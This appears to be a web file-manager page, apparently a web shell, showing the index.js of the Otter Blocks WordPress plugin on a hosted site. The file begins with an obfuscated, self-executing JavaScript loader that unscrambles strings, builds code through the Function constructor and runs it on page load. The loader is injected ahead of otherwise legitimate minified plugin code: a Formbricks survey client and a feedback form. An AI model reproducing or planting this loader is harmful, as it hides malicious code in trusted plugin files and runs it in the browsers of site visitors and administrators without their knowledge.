X7ROOT File Manager
Current Path:
/home/hamdjcne/public_html/wp-content/plugins/otter-blocks/build/dashboard
home
/
hamdjcne
/
public_html
/
wp-content
/
plugins
/
otter-blocks
/
build
/
dashboard
/
ðŸ“
..
📄
index.asset.php
(250 B)
📄
index.css
(1.47 KB)
📄
index.js
(106.09 KB)
📄
style-index.css
(16.68 KB)
Editing: index.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();!function(){var e,t={400:function(e,t,n){"use strict";var o=window.React,a=Object.defineProperty,s=(e,t,n)=>(((e,t,n)=>{t in e?a(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n})(e,"symbol"!=typeof t?t+"":t,n),n);const r=e=>({ok:!1,error:e});async function l(e,t,n,o){const a=new URL(t,e),s=JSON.stringify(o),l=(i=fetch,(...e)=>{try{return{ok:!0,data:i(...e)}}catch(e){return{ok:!1,error:e}}})(a.toString(),{method:n,headers:{"Content-Type":"application/json"},body:s});var i;if(!1===l.ok)return r(l.error);const c=await l.data,{data:d}=await c.json();return c.ok?(e=>({ok:!0,data:e}))(d):r({code:"network_error",message:c.statusText,status:c.status,url:a})}class i{constructor(e,t){this.apiHost=e,this.environmentId=t}async create(e){return l(this.apiHost,`/api/v1/client/${this.environmentId}/actions`,"POST",e)}}class c{constructor(e,t){this.apiHost=e,this.environmentId=t}async create(e){return l(this.apiHost,`/api/v1/client/${this.environmentId}/displays`,"POST",e)}async update(e,t){return l(this.apiHost,`/api/v1/client/${this.environmentId}/displays/${e}`,"PUT",t)}}class d{constructor(e,t){this.apiHost=e,this.environmentId=t}async create(e){return l(this.apiHost,`/api/v1/client/${this.environmentId}/people`,"POST",{environmentId:this.environmentId,userId:e})}async update(e,t){return l(this.apiHost,`/api/v1/client/${this.environmentId}/people/${e}`,"POST",t)}}class u{constructor(e,t){this.apiHost=e,this.environmentId=t}async create(e){return l(this.apiHost,`/api/v1/client/${this.environmentId}/responses`,"POST",e)}async update({responseId:e,finished:t,data:n,ttc:o}){return l(this.apiHost,`/api/v1/client/${this.environmentId}/responses/${e}`,"PUT",{finished:t,data:n,ttc:o})}}class m{constructor(e,t){this.apiHost=e,this.environmentId=t}async uploadFile(e,{allowedFileExtensions:t,surveyId:n}={}){if(!(e instanceof Blob&&e instanceof File))throw new Error("Invalid file type. Expected Blob or File, but received "+typeof e);const o={fileName:e.name,fileType:e.type,allowedFileExtensions:t,surveyId:n},a=await fetch(`${this.apiHost}/api/v1/client/${this.environmentId}/storage`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(o)});if(!a.ok)throw new Error(`Upload failed with status: ${a.status}`);const s=await a.json(),{data:r}=s,{signedUrl:l,fileUrl:i,signingData:c,presignedFields:d,updatedFileName:u}=r;let m={};if(c){const{signature:t,timestamp:o,uuid:a}=c;m={"X-File-Type":e.type,"X-File-Name":encodeURIComponent(u),"X-Survey-ID":n??"","X-Signature":t,"X-Timestamp":String(o),"X-UUID":a}}const h=new FormData;d&&Object.keys(d).forEach((e=>{h.append(e,d[e])})),h.append("file",e);const p=await fetch(l,{method:"POST",...c?{headers:m}:{},body:h});if(!p.ok){if(c){const e=await p.json(),t=new Error(e.message);throw t.name="FileTooLargeError",t}const e=await p.text();if(d&&e&&e.includes("EntityTooLarge")){const e=new Error("File size exceeds the size limit for your plan");throw e.name="FileTooLargeError",e}throw new Error(`Upload failed with status: ${p.status}`)}return i}}class h{constructor(e){const{apiHost:t,environmentId:n}=e;this.response=new u(t,n),this.display=new c(t,n),this.action=new i(t,n),this.people=new d(t,n),this.storage=new m(t,n)}}class p{constructor(e){this.client=new h(e)}}class g{constructor(){this.logLevel="error"}static getInstance(){return g.instance||(g.instance=new g),g.instance}configure(e){e&&void 0!==e.logLevel&&(this.logLevel=e.logLevel)}logger(e,t){if("debug"===t&&"debug"!==this.logLevel)return;const n=`🧱 Formbricks - ${(new Date).toISOString()} [${t.toUpperCase()}] - ${e}`;"error"===t?console.error(n):console.log(n)}debug(e){this.logger(e,"debug")}error(e){this.logger(e,"error")}}const v=e=>({ok:!0,value:e}),b=e=>({ok:!1,error:e}),k=e=>(...t)=>{try{return{ok:!0,value:e(...t)}}catch(e){return{ok:!1,error:e}}},w=g.getInstance(),f=class e{constructor(e){this.customized=!1,e?(this.handleError=e,this.customized=!0):this.handleError=e=>g.getInstance().error(JSON.stringify(e))}static getInstance(){return e.instance||(e.instance=new e),e.instance}static init(t){this.initialized=!0,e.instance=new e(t)}printStatus(){w.debug("Custom error handler: "+(this.customized?"yes":"no"))}handle(e){console.warn("🧱 Formbricks - Global error: ",e),this.handleError(e)}};f.initialized=!1;let _=f;const y="formbricks-js";class E{constructor(){this.config=null;const e=this.loadFromLocalStorage();e.ok&&(this.config=e.value)}static getInstance(){return E.instance||(E.instance=new E),E.instance}update(e){e&&(this.config={...this.config,...e,status:e.status||"success"},this.saveToLocalStorage())}get(){if(!this.config)throw new Error("config is null, maybe the init function was not called?");return this.config}loadFromLocalStorage(){if("undefined"!=typeof window){const e=localStorage.getItem(y);if(e){const t=JSON.parse(e);return t.expiresAt&&new Date(t.expiresAt)<=new Date?b(new Error("Config in local storage has expired")):v(JSON.parse(e))}}return b(new Error("No or invalid config in local storage"))}saveToLocalStorage(){return k((()=>localStorage.setItem(y,JSON.stringify(this.config))))()}resetConfig(){return this.config=null,k((()=>localStorage.removeItem(y)))()}}const S=(e,t)=>{const n=Math.abs(t.getTime()-e.getTime());return Math.floor(n/864e5)},C=()=>window.location.search.includes("formbricksDebug=true"),P=E.getInstance(),x=g.getInstance();let I=null;const H=async(e,t=!1)=>{var n;try{const o=await(async({apiHost:e,environmentId:t,userId:n},o)=>{try{const a=`${e}/api/v1/client/${t}/in-app/sync`,s="?version=1.6.5";let r={};if((o||C())&&(r.cache="no-cache",x.debug("No cache option set for sync")),!n){const e=a+s,t=await fetch(e,r);if(!t.ok){const n=await t.json();return b({code:"network_error",status:t.status,message:"Error syncing with backend",url:e,responseMessage:n.message})}return v((await t.json()).data)}const l=`${a}/${n}${s}`,i=await fetch(l,r);if(!i.ok){const e=await i.json();return b({code:"network_error",status:i.status,message:"Error syncing with backend",url:l,responseMessage:e.message})}const c=await i.json(),{data:d}=c;return v(d)}catch(e){return b(e)}})(e,t);if(!0!==(null==o?void 0:o.ok))throw o.error;let a;try{a=P.get().state}catch(e){}let s={surveys:o.value.surveys,noCodeActionClasses:o.value.noCodeActionClasses,product:o.value.product,attributes:(null==(n=o.value.person)?void 0:n.attributes)||{}};if(e.userId){const e=s.surveys.map((e=>e.name));x.debug("Fetched "+e.length+" surveys during sync: "+e.join(", "))}else{s={...s,displays:(null==a?void 0:a.displays)||[]},s=B(s);const e=s.surveys.map((e=>e.name));x.debug("Fetched "+e.length+" surveys during sync: "+e.join(", "))}P.update({apiHost:e.apiHost,environmentId:e.environmentId,userId:e.userId,state:s,expiresAt:new Date((new Date).getTime()+12e4)})}catch(e){throw x.error(`Error during sync: ${e}`),e}},B=e=>{const{displays:t,product:n}=e;let{surveys:o}=e;if(!t)return e;let a=o.filter((e=>{if("respondMultiple"===e.displayOption)return!0;if("displayOnce"===e.displayOption)return 0===t.filter((t=>t.surveyId===e.id)).length;if("displayMultiple"===e.displayOption)return 0===t.filter((t=>t.surveyId===e.id&&t.responded)).length;throw Error("Invalid displayOption")}));const s=t.length>0?t[t.length-1]:void 0;return a=a.filter((e=>{if(s){if(null!==e.recontactDays){const n=t.filter((t=>t.surveyId===e.id))[0];return!n||S(new Date,new Date(n.createdAt))>=e.recontactDays}return null===n.recontactDays||S(new Date,new Date(s.createdAt))>=n.recontactDays}return!0})),{...e,surveys:a}},R=()=>{"undefined"!=typeof window&&null!==I&&(window.clearInterval(I),I=null)},O=e=>new Promise((t=>setTimeout(t,e)));class M{constructor(e,t){s(this,"queue",[]),s(this,"config"),s(this,"surveyState"),s(this,"isRequestInProgress",!1),s(this,"api"),this.config=e,this.surveyState=t,this.api=new p({apiHost:e.apiHost,environmentId:e.environmentId})}add(e){this.surveyState.accumulateResponse(e),this.config.setSurveyState&&this.config.setSurveyState(this.surveyState),this.queue.push(e),this.processQueue()}async processQueue(){if(this.isRequestInProgress)return;if(0===this.queue.length)return;this.isRequestInProgress=!0;const e=this.queue[0];let t=0;for(;t<this.config.retryAttempts;){if(await this.sendResponse(e)){this.queue.shift();break}console.error("Formbricks: Failed to send response. Retrying...",t),await O(1e3),t++}t>=this.config.retryAttempts?(console.error("Failed to send response after 2 attempts."),this.config.onResponseSendingFailed&&this.config.onResponseSendingFailed(e),this.isRequestInProgress=!1):(e.finished&&this.config.onResponseSendingFinished&&this.config.onResponseSendingFinished(),this.isRequestInProgress=!1,this.processQueue())}async sendResponse(e){try{if(null!==this.surveyState.responseId)await this.api.client.response.update({...e,responseId:this.surveyState.responseId});else{const t=await this.api.client.response.create({...e,surveyId:this.surveyState.surveyId,userId:this.surveyState.userId||null,singleUseId:this.surveyState.singleUseId||null});if(!t.ok)throw new Error("Could not create response");if(this.surveyState.displayId)try{await this.api.client.display.update(this.surveyState.displayId,{responseId:t.data.id})}catch(e){console.error("Failed to update display, proceeding with the response.",e)}this.surveyState.updateResponseId(t.data.id),this.config.setSurveyState&&this.config.setSurveyState(this.surveyState)}return!0}catch(e){return console.error(e),!1}}updateSurveyState(e){this.surveyState=e}}class Z{constructor(e,t,n,o){s(this,"responseId",null),s(this,"displayId",null),s(this,"userId",null),s(this,"surveyId"),s(this,"responseAcc",{finished:!1,data:{},ttc:{}}),s(this,"singleUseId"),this.surveyId=e,this.userId=o??null,this.singleUseId=t??null,this.responseId=n??null}setSurveyId(e){this.surveyId=e,this.clear()}copy(){const e=new Z(this.surveyId,this.singleUseId??void 0,this.responseId??void 0,this.userId??void 0);return e.responseId=this.responseId,e.responseAcc=this.responseAcc,e}updateResponseId(e){this.responseId=e}updateDisplayId(e){this.displayId=e}updateUserId(e){this.userId=e}accumulateResponse(e){this.responseAcc={finished:e.finished,ttc:e.ttc,data:{...this.responseAcc.data,...e.data}}}isResponseFinished(){return this.responseAcc.finished}clear(){this.responseId=null,this.responseAcc={finished:!1,data:{},ttc:{}}}}const L=Z;let N=!1,D=async function(e){if(e.clientY<=0){const e=await He("Exit Intent (Desktop)");if(!0!==e.ok)return b(e.error)}};const F=()=>{N&&(document.removeEventListener("mouseleave",D),N=!1)};let V=!1,A=!1,T=async()=>{const e=window.scrollY,t=window.innerHeight,n=document.documentElement.scrollHeight;if(0===e&&(A=!1),!A&&e/(n-t)>=.5){A=!0;const e=await He("50% Scroll");if(!0!==e.ok)return b(e.error)}};const j=()=>{V&&(window.removeEventListener("scroll",T),V=!1)},U=E.getInstance(),G=g.getInstance(),z=_.getInstance(),$=async()=>{var e;G.debug(`Checking page url: ${window.location.href}`);const{state:t}=U.get(),{noCodeActionClasses:n=[],surveys:o=[]}=t??{},a=n.filter((e=>{const{innerHtml:t,cssSelector:n,pageUrl:o}=e.noCodeConfig||{};return o&&!t&&!n})),s=o.filter((e=>{var t;const{pageUrl:n,cssSelector:o,innerHtml:a}=(null==(t=e.inlineTriggers)?void 0:t.noCodeConfig)||{};return n&&!o&&!a}));if(a.length>0)for(const t of a){if(!(null==(e=t.noCodeConfig)?void 0:e.pageUrl))continue;const{noCodeConfig:{pageUrl:n}}=t,o=X(window.location.href,n.value,n.rule);if(!0!==o.ok)return b(o.error);if(!1===o.value)continue;const a=await He(t.name);if(!0!==a.ok)return b(a.error)}return s.length>0&&s.forEach((e=>{const{noCodeConfig:t}=e.inlineTriggers??{},{pageUrl:n}=t??{};if(n){const t=X(window.location.href,n.value,n.rule);if(!0!==t.ok)return b(t.error);if(!1===t.value)return;_e(e)}})),{ok:!0,value:void 0}};let W=!1;const q=()=>$(),K=["hashchange","popstate","pushstate","replacestate","load"],J=()=>{"undefined"!=typeof window&&W&&(K.forEach((e=>window.removeEventListener(e,q))),W=!1)};function X(e,t,n){switch(n){case"exactMatch":return v(e===t);case"contains":return v(e.includes(t));case"startsWith":return v(e.startsWith(t));case"endsWith":return v(e.endsWith(t));case"notMatch":return v(e!==t);case"notContains":return v(!e.includes(t));default:return b({code:"invalid_match_type",message:"Invalid match type"})}}const Y=(e,t)=>{var n,o,a,s,r,l,i,c;const d=null==(o=null==(n=t.noCodeConfig)?void 0:n.innerHtml)?void 0:o.value,u=null==(s=null==(a=t.noCodeConfig)?void 0:a.cssSelector)?void 0:s.value,m=null==(l=null==(r=t.noCodeConfig)?void 0:r.pageUrl)?void 0:l.value,h=null==(c=null==(i=t.noCodeConfig)?void 0:i.pageUrl)?void 0:c.rule;if(!d&&!u&&!m)return!1;if(d&&e.innerHTML!==d)return!1;if(u){const t=u.split(/\s*(?=[.#])/);for(let n of t)if(!e.matches(n))return!1}if(m&&h){const e=X(window.location.href,m,h);if(!e.ok||!e.value)return!1}return!0};let Q=!1;const ee=e=>(e=>{const{state:t}=U.get();if(!t)return;const{noCodeActionClasses:n}=t;if(!n)return;const o=e.target;n.forEach((e=>{Y(o,e)&&He(e.name).then((e=>{var t,n;n=e=>{z.handle(e)},!0===(t=e).ok?t.value:n(t.error)}))}));const a=t.surveys;a&&0!==a.length&&a.forEach((e=>{const{inlineTriggers:t}=e;t&&Y(o,t)&&_e(e)}))})(e),te=()=>{Q&&(document.removeEventListener("click",ee),Q=!1)};let ne=!1;const oe=E.getInstance(),ae=g.getInstance(),se=E.getInstance(),re=g.getInstance();let le=!1;const ie=e=>{le=e},ce=async e=>{if(C()&&re.configure({logLevel:"debug"}),le)return re.debug("Already initialized, skipping initialization."),{ok:!0,value:void 0};let t;try{t=se.get(),re.debug("Found existing configuration.")}catch(e){re.debug("No existing configuration found.")}if("error"===(null==t?void 0:t.status)){if(re.debug("Formbricks was set to an error state."),(null==t?void 0:t.expiresAt)&&new Date(t.expiresAt)>new Date)return re.debug("Error state is not expired, skipping initialization"),{ok:!0,value:void 0};re.debug("Error state is expired. Continue with initialization.")}if(_.getInstance().printStatus(),re.debug("Start initialize"),!e.environmentId)return re.debug("No environmentId provided"),b({code:"missing_field",field:"environmentId"});if(!e.apiHost)return re.debug("No apiHost provided"),b({code:"missing_field",field:"apiHost"});if(re.debug("Adding widget container to DOM"),Ee(),!e.userId&&e.attributes)return re.error("No userId provided but attributes. Cannot update attributes without userId."),b({code:"missing_field",field:"userId"});let n=null;if(e.userId&&e.attributes){const t=await(async(e,t,n,o)=>{var a,s;if(!n)return b({code:"missing_person",message:"Unable to update attribute. User identification deactivated. No userId set."});const r={...o};try{const e=null==(s=null==(a=oe.get())?void 0:a.state)?void 0:s.attributes;if(e)for(const[t,n]of Object.entries(e))r[t]===n&&delete r[t]}catch(e){ae.debug("config not set; sending all attributes to backend")}if(0===Object.keys(r).length)return ae.debug("No attributes to update. Skipping update."),v(r);ae.debug("Updating attributes: "+JSON.stringify(r));const l={attributes:r},i=new p({apiHost:e,environmentId:t}),c=await i.client.people.update(n,l);return c.ok?v(r):b({code:"network_error",status:500,message:`Error updating person with userId ${n}`,url:`${e}/api/v1/client/${t}/people/${n}`,responseMessage:c.error.message})})(e.apiHost,e.environmentId,e.userId,e.attributes);if(!0!==t.ok)return b(t.error);n=t.value}if(t&&t.state&&t.environmentId===e.environmentId&&t.apiHost===e.apiHost&&t.userId===e.userId&&t.expiresAt)if(re.debug("Configuration fits init parameters."),t.expiresAt<new Date){re.debug("Configuration expired.");try{await H({apiHost:e.apiHost,environmentId:e.environmentId,userId:e.userId})}catch(e){me()}}else re.debug("Configuration not expired. Extending expiration."),se.update(t);else{re.debug("No valid configuration found or it has been expired. Resetting config and creating new one."),se.resetConfig(),re.debug("Syncing.");try{await H({apiHost:e.apiHost,environmentId:e.environmentId,userId:e.userId})}catch(e){de()}await He("New Session")}return n&&Object.keys(n).length>0&&se.update({environmentId:se.get().environmentId,apiHost:se.get().apiHost,userId:se.get().userId,state:{...se.get().state,attributes:{...se.get().state.attributes,...e.attributes}},expiresAt:se.get().expiresAt}),re.debug("Adding event listeners"),"undefined"!=typeof window&&null===I&&(I=window.setInterval((async()=>{try{if(P.get().expiresAt&&new Date(P.get().expiresAt)>=new Date)return;x.debug("Config has expired. Starting sync."),await H({apiHost:P.get().apiHost,environmentId:P.get().environmentId,userId:P.get().userId})}catch(e){x.error(`Error during expiry check: ${e}`),x.debug("Extending config and try again later.");const t=P.get();P.update(t)}}),3e4)),"undefined"==typeof window||W||(K.forEach((e=>window.addEventListener(e,q))),W=!0),"undefined"==typeof window||Q||(document.addEventListener("click",ee),Q=!0),"undefined"==typeof document||N||(document.querySelector("body").addEventListener("mouseleave",D),N=!0),"undefined"==typeof window||V||(window.addEventListener("load",(()=>{window.addEventListener("scroll",T)})),V=!0),ne||(window.addEventListener("beforeunload",(()=>{R(),J(),te(),F(),j()})),ne=!0),ie(!0),re.debug("Initialized"),$(),{ok:!0,value:void 0}},de=()=>{const e={status:"error",expiresAt:new Date((new Date).getTime()+6e5)};throw k((()=>localStorage.setItem(y,JSON.stringify(e))))(),new Error("Could not initialize formbricks")},ue=()=>{re.debug("Deinitializing"),Se(),fe(!1),R(),J(),te(),F(),j(),ne&&(window.removeEventListener("beforeunload",(()=>{R(),J(),te(),F(),j()})),ne=!1),ie(!1)},me=()=>{re.debug("Putting formbricks in error state"),se.update({...se.get(),status:"error",expiresAt:new Date((new Date).getTime()+6e5)}),ue()},he="formbricks-web-container",pe=E.getInstance(),ge=g.getInstance(),ve=_.getInstance();let be=!1,ke=e=>{},we=e=>{};const fe=e=>{be=e},_e=async e=>{if(be)return void ge.debug("A survey is already running. Skipping.");fe(!0),e.delay&&ge.debug(`Delaying survey by ${e.delay} seconds.`);const t=pe.get().state.product,n=new L(e.id,null,null,pe.get().userId),o=new M({apiHost:pe.get().apiHost,environmentId:pe.get().environmentId,retryAttempts:2,onResponseSendingFailed:()=>{ke(!0)},onResponseSendingFinished:()=>{we(!0)}},n),a=e.productOverwrites??{},s=a.brandColor??t.brandColor,r=a.highlightBorderColor??t.highlightBorderColor,l=a.clickOutsideClose??t.clickOutsideClose,i=a.darkOverlay??t.darkOverlay,c=a.placement??t.placement,d=t.inAppSurveyBranding,u=await Ce();setTimeout((()=>{u.renderSurveyModal({survey:e,brandColor:s,isBrandingEnabled:d,clickOutside:l,darkOverlay:i,highlightBorderColor:r,placement:c,getSetIsError:e=>{ke=e},getSetIsResponseSendingFinished:e=>{we=e},onDisplay:async()=>{const{userId:t}=pe.get();if(!t){const t={createdAt:new Date,surveyId:e.id,responded:!1},n=pe.get().state.displays,o=n?[...n,t]:[t],a=pe.get();let s=B({...a.state,displays:o});pe.update({...a,state:s})}const a=new p({apiHost:pe.get().apiHost,environmentId:pe.get().environmentId}),s=await a.client.display.create({surveyId:e.id,userId:t});if(!s.ok)throw new Error("Could not create display");const{id:r}=s.data;n.updateDisplayId(r),o.updateSurveyState(n)},onResponse:e=>{const{userId:t}=pe.get();if(!t){const e=pe.get().state.displays,t=e&&e[e.length-1];if(!t)throw new Error("No lastDisplay found");if(!t.responded){t.responded=!0;const n=pe.get();let o=B({...n.state,displays:e});pe.update({...n,state:o})}}t&&n.updateUserId(t),o.updateSurveyState(n),o.add({data:e.data,ttc:e.ttc,finished:e.finished})},onClose:ye,onFileUpload:async(e,t)=>{const n=new p({apiHost:pe.get().apiHost,environmentId:pe.get().environmentId});return await n.client.storage.uploadFile(e,t)},onRetry:()=>{ke(!1),o.processQueue()}})}),1e3*e.delay)},ye=async()=>{if(Se(),Ee(),!pe.get().userId){const e=pe.get().state,t=B(e);return pe.update({...pe.get(),state:t}),void fe(!1)}try{await H({apiHost:pe.get().apiHost,environmentId:pe.get().environmentId,userId:pe.get().userId},!0),fe(!1)}catch(e){ve.handle(e),me()}},Ee=()=>{const e=document.createElement("div");e.id=he,document.body.appendChild(e)},Se=()=>{var e;null==(e=document.getElementById(he))||e.remove()},Ce=()=>new Promise(((e,t)=>{if(window.formbricksSurveys)e(window.formbricksSurveys);else{const n=document.createElement("script");n.src="https://unpkg.com/@formbricks/surveys@~1.6.3/dist/index.umd.js",n.async=!0,n.onload=()=>e(window.formbricksSurveys),n.onerror=e=>{console.error("Failed to load Formbricks Surveys library:",e),t(e)},document.head.appendChild(n)}})),Pe=g.getInstance(),xe=E.getInstance(),Ie=["Exit Intent (Desktop)","50% Scroll"],He=async e=>{var t;const{userId:n,state:{surveys:o=[]}}=xe.get();o.forEach((async t=>{const{inlineTriggers:n}=t,{codeConfig:o}=n??{};e!==(null==o?void 0:o.identifier)||await _e(t)}));const a={environmentId:xe.get().environmentId,userId:n,name:e};if(n&&!Ie.includes(e)){Pe.debug(`Sending action "${e}" to backend`);const t=new p({apiHost:xe.get().apiHost,environmentId:xe.get().environmentId}),o=await t.client.action.create({...a,userId:n});if(!o.ok)return b({code:"network_error",message:`Error tracking action ${e}`,status:500,url:`${xe.get().apiHost}/api/v1/client/${xe.get().environmentId}/actions`,responseMessage:o.error.message});C()&&await H({environmentId:xe.get().environmentId,apiHost:xe.get().apiHost,userId:n},!0)}Pe.debug(`Formbricks: Action "${e}" tracked`);const s=null==(t=xe.get().state)?void 0:t.surveys;return s&&s.length>0?await Be(e,s):Pe.debug("No active surveys to display"),{ok:!0,value:void 0}},Be=async(e,t)=>{for(const o of t)if(!o.displayPercentage||(n=o.displayPercentage,Math.floor(100*Math.random())+1<=n)){for(const t of o.triggers)if(t===e)return Pe.debug(`Formbricks: survey ${o.id} triggered by action "${e}"`),void await _e(o)}else Pe.debug("Survey display skipped based on displayPercentage.");var n},Re=e=>async(...t)=>{try{return{ok:!0,data:await e(...t)}}catch(e){return{ok:!1,error:e}}};g.getInstance().debug("Create command queue");const Oe=new class{constructor(){this.queue=[],this.running=!1,this.resolvePromise=null,this.commandPromise=null}add(e=!0,t,...n){this.queue.push({command:t,checkInitialized:e,commandArgs:n}),this.running||(this.commandPromise=new Promise((e=>{this.resolvePromise=e,this.run()})))}async wait(){this.running&&await this.commandPromise}async run(){for(this.running=!0;this.queue.length>0;){const e=_.getInstance(),t=this.queue.shift();if(!t)continue;if(t.checkInitialized){const t=(re.debug("Check if initialized"),le&&_.initialized?{ok:!0,value:void 0}:b({code:"not_initialized",message:"Formbricks not initialized. Call initialize() first."}));if(t&&!0!==t.ok){e.handle(t.error);continue}}const n=async()=>await(null==t?void 0:t.command.apply(null,null==t?void 0:t.commandArgs)),o=await Re(n)();o&&(o.ok&&o.data&&!o.data.ok&&e.handle(o.data.error),!0!==o.ok&&e.handle(o.error))}this.running=!1,this.resolvePromise&&(this.resolvePromise(),this.resolvePromise=null,this.commandPromise=null)}};var Me=window.wp.element,Ze=n(967),Le=n.n(Ze),Ne=window.wp.components,De=window.wp.i18n,Fe=window.wp.hooks;const{version:Ve}=window.themeisleGutenberg?window.themeisleGutenberg:window.otterObj,Ae=[{name:(0,De.__)("Plugin version","otter-blocks"),value:Ve},{name:(0,De.__)("Feedback","otter-blocks"),value:(0,De.__)("Text from the above text area","otter-blocks")}],Te={error:(0,De.__)("There has been an error. Your feedback couldn't be sent."),emptyFeedback:(0,De.__)("Please provide a feedback before submitting the form.","otter-blocks")};var je=({source:e,status:t,setStatus:n})=>{const[a,s]=(0,Me.useState)(""),[r,l]=(0,Me.useState)(!1);return(0,Me.useEffect)((()=>{const e=document.querySelector(".o-feedback-form .info");e&&(e.style.height=r?`${e.querySelector(".wrapper")?.clientHeight}px`:"0")}),[r]),(0,o.createElement)("form",{className:"o-feedback-form",onSubmit:t=>{t.preventDefault(),(()=>{const t=a.trim();if(5>=t.length)n("emptyFeedback");else{n("loading");try{fetch("https://api.themeisle.com/tracking/feedback",{method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json, */*;q=0.1","Cache-Control":"no-cache"},body:JSON.stringify({slug:"otter-blocks",version:Ve,feedback:t,data:{"feedback-area":e}})}).then((e=>{e.ok?n("submitted"):n("error")}))?.catch((e=>{console.warn(e.message),n("error")}))}catch(e){console.warn(e.message),n("error")}}})()}},(0,o.createElement)(Ne.TextareaControl,{className:Le()({invalid:"emptyFeedback"===t,"f-error":"error"===t}),placeholder:(0,De.__)("Tell us how can we help you better with Otter Blocks","otter-blocks"),value:a,rows:7,cols:50,onChange:e=>{s(e),5<e.trim().length&&n("notSubmitted")},help:Te[t]||!1,autoFocus:!0}),(0,o.createElement)("div",{className:"info"},(0,o.createElement)("div",{className:"wrapper"},(0,o.createElement)("p",null,(0,De.__)("We value privacy, that's why no domain name, email address or IP addresses are collected after you submit the survey. Below is a detailed view of all data that Themeisle will receive if you fill in this 